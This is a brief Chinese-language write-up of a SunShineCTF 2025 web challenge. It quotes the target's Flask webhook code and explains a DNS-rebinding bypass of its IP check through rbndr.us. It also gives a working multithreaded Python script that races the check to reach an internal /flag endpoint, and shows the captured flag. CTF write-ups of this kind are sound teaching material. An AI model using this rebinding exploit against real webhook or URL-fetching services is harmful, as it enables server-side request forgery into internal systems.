SunShineCTF 2025
没啥意思,写了个白盒就润了
Intergalactic Webhook Service
dns重绑定攻击
@app.route('/register', methods=['POST'])
def register_webhook():
url = request.form.get('url')
if not url:
abort(400, 'Missing url parameter')
allowed, reason = is_ip_allowed(url)
if not allowed:
return reason, 400
webhook_id = str(uuid.uuid4())
registered_webhooks[webhook_id] = url
return jsonify({'status': 'registered', 'url': url, 'id': webhook_id}), 200
先检验了URL解析后是否符合if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
然后才post
@app.route('/trigger', methods=['POST'])
def trigger_webhook():
webhook_id = request.form.get('id')
if not webhook_id:
abort(400, 'Missing webhook id')
url = registered_webhooks.get(webhook_id)
if not url:
return jsonify({'error': 'Webhook not found'}), 404
allowed, reason = is_ip_allowed(url)
if not allowed:
return jsonify({'error': reason}), 400
try:
resp = requests.post(url, timeout=5, allow_redirects=False)
return jsonify({'url': url, 'status': resp.status_code, 'response': resp.text}), resp.status_code
except Exception:
return jsonify({'url': url, 'error': 'something went wrong'}), 500
只要设置dns的TTL为0,下一次解析为127.0.0.1即可
找到一个好用的dns rebinding工具
rbndr.us dns rebinding service
这个会随机解析为A和B的IP
import requests
import time
import threading
from concurrent.futures import ThreadPoolExecutor
CHALLENGE_URL = "<https://supernova.sunshinectf.games>"
REBIND_DOMAIN = "08080808.7f000001.rbndr.us"
TARGET_PORT = 5001
TARGET_PATH = "/flag"
NUM_THREADS = 100
found_flag_event = threading.Event()
attempt_counter = 0
counter_lock = threading.Lock()
def run_attack():
global attempt_counter
if found_flag_event.is_set():
return
with counter_lock:
attempt_counter += 1
current_attempt = attempt_counter
session = requests.Session()
webhook_url = f"http://{REBIND_DOMAIN}:{TARGET_PORT}{TARGET_PATH}"
try:
register_payload = {'url': webhook_url}
reg_response = session.post(f"{CHALLENGE_URL}/register", data=register_payload, timeout=5)
if reg_response.status_code != 200:
return
webhook_id = reg_response.json().get('id')
if not webhook_id:
return
trigger_payload = {'id': webhook_id}
trig_response = session.post(f"{CHALLENGE_URL}/trigger", data=trigger_payload, timeout=10)
response_text = trig_response.text
if "sun{" in response_text:
print(response_text)
found_flag_event.set()
except requests.exceptions.RequestException:
pass
if __name__ == "__main__":
with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
while not found_flag_event.is_set():
try:
executor.submit(run_attack)
time.sleep(0.01)
except KeyboardInterrupt:
found_flag_event.set()
break
{"response":"sun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}","status":200,"url":"<http://08080808.7f000001.rbndr.us:5001/flag>"}
许可协议:
CC BY 4.0